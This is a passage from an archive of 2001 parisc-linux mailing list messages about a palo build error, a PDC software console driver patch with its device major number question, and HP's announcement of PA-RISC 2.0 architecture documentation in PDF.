To: parics Linux Mailing List <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov 20 14:42:55 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from gwyn.tux.org (gwyn.tux.org [207.96.122.8])
	by dsl2.external.hp.com (Postfix) with ESMTP id AAEDB482C
	for <parisc-linux@lists.parisc-linux.org>; Tue, 20 Nov 2001 14:42:53 -0700 (MST)
Original-Received: (from timball@localhost)
	by gwyn.tux.org (8.9.3/8.9.1) id QAA10910
	for parisc-linux@lists.parisc-linux.org; Tue, 20 Nov 2001 16:42:52 -0500
Content-Disposition: inline
User-Agent: Mutt/1.3.23.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13161

I do a make palo and I get an error, but the lifimage file is in
../palo/lifimage. Should I be worried about this?

--snip--snip--snip--
./palo/mkbootable ipl/iplelf iplboot
ELF32 executable
entry 0x60000 size 28652
./palo/palo -f /dev/null \
-b iplboot \
-k /usr/src/parisc/linux/vmlinux \
 \
-c "0/vmlinux HOME=/ TERM=linux root=/dev/sda4  " \
        -s lifimage
palo version 0.97 timball@jane Tue Nov 20 16:08:52 EST 2001
ELF32 executable
calculated xsum 0x4e32b74 got 0x0
calculated xsum 0x4e32b74 got 0x0
make[1]: *** [lifimage-only] Error 2
make[1]: Leaving directory `/usr/src/parisc/palo'
make: *** [palo] Error 2
--snip--snip--snip--

--timball

-- 
	GPG key available on pgpkeys.mit.edu
pub  1024D/511FBD54 2001-07-23 Timothy Lu Hu Ball <timball@tux.org>
Key fingerprint = B579 29B0 F6C8 C7AA 3840  E053 FE02 BB97 511F BD54



From - Thu Nov 08 21:20:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] make palo error?
Date: Tue, 20 Nov 2001 15:30:00 -0700
Lines: 9
Approved: news@gmane.org
Message-ID: <E166JOy-0002yT-00@noam.fc.hp.com>
References: <20011120214251.GA5953@gwyn.tux.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620788 30639 80.91.229.3 (22 Nov 2014 01:46:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:28 +0000 (UTC)
Cc: parics Linux Mailing List <parisc-linux@lists.parisc-linux.org>
To: Timothy Ball <timball@tux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov 20 15:30:02 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel6.hp.com (atlrel6.hp.com [192.151.27.8])
	by dsl2.external.hp.com (Postfix) with ESMTP id 07CE3482C
	for <parisc-linux@lists.parisc-linux.org>; Tue, 20 Nov 2001 15:30:01 -0700 (MST)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.1.50.190])
	by atlrel6.hp.com (Postfix) with ESMTP
	id 4F6BB1F744; Tue, 20 Nov 2001 17:30:01 -0500 (EST)
Original-Received: from noam.fc.hp.com (noam.fc.hp.com [15.1.52.69])
	by ldl.fc.hp.com (Postfix) with ESMTP
	id 21CE84464; Tue, 20 Nov 2001 15:30:01 -0700 (MST)
Original-Received: from localhost
	([127.0.0.1] helo=fc.hp.com ident=bame)
	by noam.fc.hp.com with esmtp (Exim 3.32 #1 (Debian))
	id 166JOy-0002yT-00; Tue, 20 Nov 2001 15:30:00 -0700
In-Reply-To: Your message of "Tue, 20 Nov 2001 16:42:51 EST."
             <20011120214251.GA5953@gwyn.tux.org> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13162

= I do a make palo and I get an error, but the lifimage file is in
= ../palo/lifimage. Should I be worried about this?

Yes, worry.  do a 'make realclean' first -- at least make sure
that iplboot is nuked

	-P



From - Thu Nov 08 21:20:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <ryan_bradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: E55 status - THE DRIVER !
Date: 20 Nov 2001 16:40:38 -0700
Lines: 57
Approved: news@gmane.org
Message-ID: <1006299638.4898.16.camel@beavis>
References: <3BF99676.2A291CDD@gmx.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620788 30642 80.91.229.3 (22 Nov 2014 01:46:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:28 +0000 (UTC)
Cc: marteaut@esiee.fr, grundler@puffin.external.hp.com,
	"parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Christoph Plattner <christoph.plattner@gmx.at>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov 20 16:40:41 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (unknown [209.161.7.161])
	by dsl2.external.hp.com (Postfix) with ESMTP id BE9C6482D
	for <parisc-linux@lists.parisc-linux.org>; Tue, 20 Nov 2001 16:40:40 -0700 (MST)
Original-Received: from ns1.ybsoft.com (beavis.ybsoft.com [10.0.0.2])
	by beavis.ybsoft.com (Postfix) with ESMTP
	id 91AABBE2E; Tue, 20 Nov 2001 16:40:38 -0700 (MST)
In-Reply-To: <3BF99676.2A291CDD@gmx.at>
X-Mailer: Evolution/0.99.0 (Preview Release)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13163

Hello Christoph,

I have integrated your patch into my tree, and have been testing out the
patch on my C200+ and the K460.  With the PDC console patch, I do get to
the console on the K460 which is great news.  I am still going to work
on the driver for the actual hardware (in my case the Eole CAP/MUX, and
in your case the Sahp Baat Kiuh AP/MUX), but this is a nice work around
until that work is finished.

When integrating your patch into my tree, I made the following changes:

* Dropped the LCD support.
 	I do not understand this portion of the code very well, and it 	had
some uglyness that made me feel uneasy to commit to the tree.  	Someone
else should look at this and integrate it properly.

* Renamed the pdc_drv to pdc_console.
	Just seemed more accurate to me .. I am open for other opinions
	on this.

* Added the configure option and help text for the PDC software console.
* Inegerated CONFIG_PDC_CONSOLE into the drivers/char/Makefile.
* Integrated CONFIG_PDC_CONSOLE into arch/parisc/kernel/pdc_cons.c and
	performed some minor cleanups.

* probably other things I've forgotten :)


Overall I though the patch looked great, but I still have 1 concern left
and that is about the major number.

According to Documentation/devices.txt major number 30 is reserved for:
 30 char        iBCS-2 compatibility devices

I understand about --><-- much about how major numbers are handled and I
know this is a topic of debate among the main stream kernel developers. 
If we ever want to move this driver into the mainstream kernel this
issue will probably need to be resolved ... and I have no idea on how to
proceed.  Maybe others on this list will have an idea, or when the time
comes we will need to address this on the lkml.  Before I commit this
patch to the CVS repository, I'd like to get some concensus on this list
about what is right.  (ie for the debian installer to work with this
device, /dev/ttyB0 will need to be added to the MAKEDEV package, etc).

Anyways the patch is available for feedback at: 
ftp://ftp.parisc-linux.org/patches/pdc_console.diff

I am still working on testing this driver ... I would be very happy to
see install the K460 using the debian installer using this patch.  I am
currently working on making that happen.

Thanks,

- Ryan




From - Thu Nov 08 21:20:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <ryan_bradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: E55 status - THE DRIVER !
Date: 20 Nov 2001 20:40:42 -0700
Lines: 14
Approved: news@gmane.org
Message-ID: <1006314043.4898.20.camel@beavis>
References: <3BF99676.2A291CDD@gmx.at>  <1006299638.4898.16.camel@beavis>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620789 30643 80.91.229.3 (22 Nov 2014 01:46:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:29 +0000 (UTC)
Cc: Christoph Plattner <christoph.plattner@gmx.at>,
	marteaut@esiee.fr, grundler@puffin.external.hp.com,
	"parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Ryan Bradetich <ryan_bradetich@uswest.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov 20 20:40:45 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (unknown [209.161.7.161])
	by dsl2.external.hp.com (Postfix) with ESMTP id A1494482C
	for <parisc-linux@lists.parisc-linux.org>; Tue, 20 Nov 2001 20:40:44 -0700 (MST)
Original-Received: from ns1.ybsoft.com (beavis.ybsoft.com [10.0.0.2])
	by beavis.ybsoft.com (Postfix) with ESMTP
	id 154B9BD85; Tue, 20 Nov 2001 20:40:43 -0700 (MST)
In-Reply-To: <1006299638.4898.16.camel@beavis>
X-Mailer: Evolution/0.99.0 (Preview Release)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13164

> I am still working on testing this driver ... I would be very happy to
> see install the K460 using the debian installer using this patch.  I am
> currently working on making that happen.

I got through enough of the installer tonight to see what I wanted to
see.  This PDC Software console should allow a complete debian install. 
The dialog menus are not pretty, but they are functional.

Thanks,

- Ryan




From - Thu Nov 08 21:20:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "BRANN,PAMELA (HP-FtCollins,ex1)" <pamela_brann@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] PA-RISC 2.0 Architecture Documentation now available in PDF Forma
 t
Date: Tue, 20 Nov 2001 09:26:21 -0800
Lines: 59
Approved: news@gmane.org
Message-ID: <AB57FCC5E303D511BB8F00A0C9F485C205EE4FC5@xfc02.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----_=_NextPart_000_01C171E8.789B9CA0"
X-Trace: ger.gmane.org 1416620789 30645 80.91.229.3 (22 Nov 2014 01:46:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:29 +0000 (UTC)
Cc: "MORRIS,DALE (HP-Cupertino,unix1)" <dale_morris@hp.com>,
	"PEKARY,PAT (HP-PaloAlto,ex1)" <pat_pekary@hp.com>,
	"HULL,JIM (HP-Cupertino,unix1)" <jim_hull@hp.com>,
	palinux_rd@ldl.fc.hp.com
To: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>,
	"'randolph@tausq.org'" <randolph@tausq.org>,
	"GRUNDLER,GRANT (HP-Cupertino,unix1)" <grant_grundler@hp.com>,
	"'carlos@megatonmonkey.net'" <carlos@megatonmonkey.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov 20 10:29:09 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palrel12.hp.com (palrel12.hp.com [156.153.255.237])
	by dsl2.external.hp.com (Postfix) with ESMTP id BD883482C
	for <parisc-linux@lists.parisc-linux.org>; Tue, 20 Nov 2001 10:29:09 -0700 (MST)
Original-Received: from xparelay1.corp.hp.com (unknown [15.58.136.173])
	by palrel12.hp.com (Postfix) with ESMTP
	id 32DAA1F52E; Tue, 20 Nov 2001 09:29:09 -0800 (PST)
Original-Received: from xpabh1.corp.hp.com (xpabh1.corp.hp.com [15.58.136.191])
	by xparelay1.corp.hp.com (Postfix) with ESMTP
	id C3DAD1F538; Tue, 20 Nov 2001 09:26:24 -0800 (PST)
Original-Received: by xpabh1.corp.hp.com with Internet Mail Service (5.5.2653.19)
	id <WALFP0MX>; Tue, 20 Nov 2001 09:26:24 -0800
X-Mailer: Internet Mail Service (5.5.2653.19)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13165

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_000_01C171E8.789B9CA0
Content-Type: text/plain;
	charset="iso-8859-1"


HP's Developer and Solution Partner Portal (DSPP) is proud to announce the
addition of the PA-RISC 2.0 Architecture Documentation in PDF format.  This
resource is now available to you in hard copy, PDF or HTML - all from the
PA-RISC topic area of the DSPP.

You can directly access the index page for these PDF documents by following
this link:
http://h21007.www2.hp.com/dspp/tech/tech_TechDocumentDetailPage_IDX/1,1701,2
533,00.html

A listing of all of the resources we offer for the PA-RISC topic area is
available at:
http://h21007.www2.hp.com/dspp/tech/tech_TechTypeListingPage_IDX/1,1704,1040
3,00.html

Or, you can access the entire Developer & Solution Partner Portal at
http://www.hp.com/dspp

This resource has been added as a direct response to developer feedback.
Thank you for sharing your needs with us and please let us know if there are
additional resources that we can provide for you.

Sincerely,

Pamela Brann
Human Factors Consultant
PA-RISC Topic Area Owner, DSPP
Developers' Resource Lab, Hewlett-Packard
pamela_brann@hp.com
970.898.4835 w


------_=_NextPart_000_01C171E8.789B9CA0
Content-Type: application/octet-stream;
	name="BRANN,PAMELA (HP-FtCollins,ex1).vcf"
Content-Disposition: attachment;
	filename="BRANN,PAMELA (HP-FtCollins,ex1).vcf"

BEGIN:VCARD
VERSION:2.1
N:BRANN;PAMELA
FN:BRANN,PAMELA (HP-FtCollins,ex1)
ORG:HP-FtCollins,ex1;47RZ-2031
TEL;WORK;VOICE:[(+) ]
EMAIL;PREF;INTERNET:pamela_brann@hp.com
REV:20010605T230056Z
END:VCARD

------_=_NextPart_000_01C171E8.789B9CA0--



From - Thu Nov 08 21:20:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Toolchain improved, archive better, proceed with caution
Date: Wed, 21 Nov 2001 10:41:10 +0100 (CET)
Lines: 20
Approved: news@gmane.org
Message-ID: <1006335670.3bfb76b6afefe@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620789 30647 80.91.229.3 (22 Nov 2014 01:46:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:29 +0000 (UTC)
To: taggart@carmen.fc.hp.com, parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 21 04:26:42 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (unknown [212.35.2.201])
	by dsl2.external.hp.com (Postfix) with ESMTP id CE2D0482C
	for <parisc-linux@lists.parisc-linux.org>; Wed, 21 Nov 2001 04:26:41 -0700 (MST)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 166TsU-0000yE-00; Wed, 21 Nov 2001 10:41:10 +0100
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13166

Hi Matt,

Yesterday evening, I just finished the apt-get dist-upgrade (via apt offline
procedure) (which is not very accurate but operational with relevant changes) of
my 712 box first and all seems OK :)).

Then I launch (what I do the most) the compilation of a kernel (2.4.14-pa2)(it
just take time because 712 is a bit slow) and all seems OK too (no Error just
some usual warning).

Just install and reboot with this kernel and all seems find till now (XFree,
Xfce,...).

Thanks to all for great job
        Joel

-------------------------------------------------
This mail sent through Tiscalinet Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:20:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PA-RISC 2.0 Architecture Documentation now available in PDF Forma t
Date: Wed, 21 Nov 2001 09:40:04 -0500
Lines: 15
Approved: news@gmane.org
Message-ID: <20011121094004.L8748@systemhalted>
References: <AB57FCC5E303D511BB8F00A0C9F485C205EE4FC5@xfc02.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620790 30650 80.91.229.3 (22 Nov 2014 01:46:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:30 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "BRANN,PAMELA (HP-FtCollins,ex1)" <pamela_brann@hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 21 07:39:56 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sh.od.inet (cr821974-a.lndn1.on.wave.home.com [24.112.142.143])
	by dsl2.external.hp.com (Postfix) with ESMTP id 583BE482C
	for <parisc-linux@lists.parisc-linux.org>; Wed, 21 Nov 2001 07:39:55 -0700 (MST)
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.0/8.11.0) id fALEe4C10299;
	Wed, 21 Nov 2001 09:40:04 -0500
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>,
	"BRANN,PAMELA (HP-FtCollins,ex1)" <pamela_brann@hp.com>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <AB57FCC5E303D511BB8F00A0C9F485C205EE4FC5@xfc02.fc.hp.com>; from pamela_brann@hp.com on Tue, Nov 20, 2001 at 09:26:21AM -0800
X-Useless-Header: oooohhmmm, chant the email mantra...
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13167

> 
> HP's Developer and Solution Partner Portal (DSPP) is proud to announce the
> addition of the PA-RISC 2.0 Architecture Documentation in PDF format.  This
> resource is now available to you in hard copy, PDF or HTML - all from the
> PA-RISC topic area of the DSPP.
>

Wonderfull!
Many thanks to all the people who put in the hard work!
Now I can add to my growing list of documentation!

Cheers,
Carlos O'Donell Jr. 



From - Thu Nov 08 21:20:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@gmx.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: E55 status - THE DRIVER !
Date: Wed, 21 Nov 2001 20:12:33 +0100
Organization: private
Lines: 45
Approved: news@gmane.org
Message-ID: <3BFBFCA1.6B5CB2B3@gmx.at>
References: <3BF99676.2A291CDD@gmx.at>  <1006299638.4898.16.camel@beavis> <1006314043.4898.20.camel@beavis>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620790 30652 80.91.229.3 (22 Nov 2014 01:46:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:30 +0000 (UTC)
Cc: marteaut@esiee.fr, grundler@puffin.external.hp.com,
	"parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Ryan Bradetich <ryan_bradetich@uswest.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 21 12:12:41 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep14-int.chello.at (viefep14-int.chello.at [213.46.255.13])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0D3CF482C
	for <parisc-linux@lists.parisc-linux.org>; Wed, 21 Nov 2001 12:12:39 -0700 (MST)
Original-Received: from gmx.at ([62.178.92.247]) by viefep14-int.chello.at
          (InterMail vM.5.01.03.06 201-253-122-118-106-20010523) with ESMTP
          id <20011121191232.GXZ1236.viefep14-int.chello.at@gmx.at>;
          Wed, 21 Nov 2001 20:12:32 +0100
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.6 i686)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13168

Very good, that you have done the config stuff, I was not able to, as 
I had never things to do with the configuring (expcet for using it ...).

Will you chick in the stuff for all ?

I have no problem with it, if another major was taken. I only used this,
because there was a hole in the `major.h' at 30.

Will the changes done for the PA Linux tree also migrated to the main
stream kernel tree ?
When ? All minor versions (2.4.13, 2.4.14, ....) or at 2.6.x !!

I am happy, that your machine is also working with that stuff !

Bye
Christoph P.



Ryan Bradetich wrote:
> 
> > I am still working on testing this driver ... I would be very happy to
> > see install the K460 using the debian installer using this patch.  I am
> > currently working on making that happen.
> 
> I got through enough of the installer tonight to see what I wanted to
> see.  This PDC Software console should allow a complete debian install.
> The dialog menus are not pretty, but they are functional.
> 
> Thanks,
> 
> - Ryan
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux

-- 
-------------------------------------------------------
private:	christoph.plattner@gmx.at
company:	christoph.plattner@alcatel.at




From - Thu Nov 08 21:20:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@gmx.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: E55 status - THE DRIVER !
Date: Wed, 21 Nov 2001 20:16:40 +0100
Organization: private
Lines: 78
Approved: news@gmane.org
Message-ID: <3BFBFD98.29F4D69A@gmx.at>
References: <3BF99676.2A291CDD@gmx.at> <1006299638.4898.16.camel@beavis>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620790 30656 80.91.229.3 (22 Nov 2014 01:46:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:30 +0000 (UTC)
Cc: marteaut@esiee.fr, grundler@puffin.external.hp.com,
	"parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Ryan Bradetich <ryan_bradetich@uswest.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 21 12:16:44 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep13-int.chello.at (viefep13-int.chello.at [213.46.255.15])
	by dsl2.external.hp.com (Postfix) with ESMTP id 88EC0482C
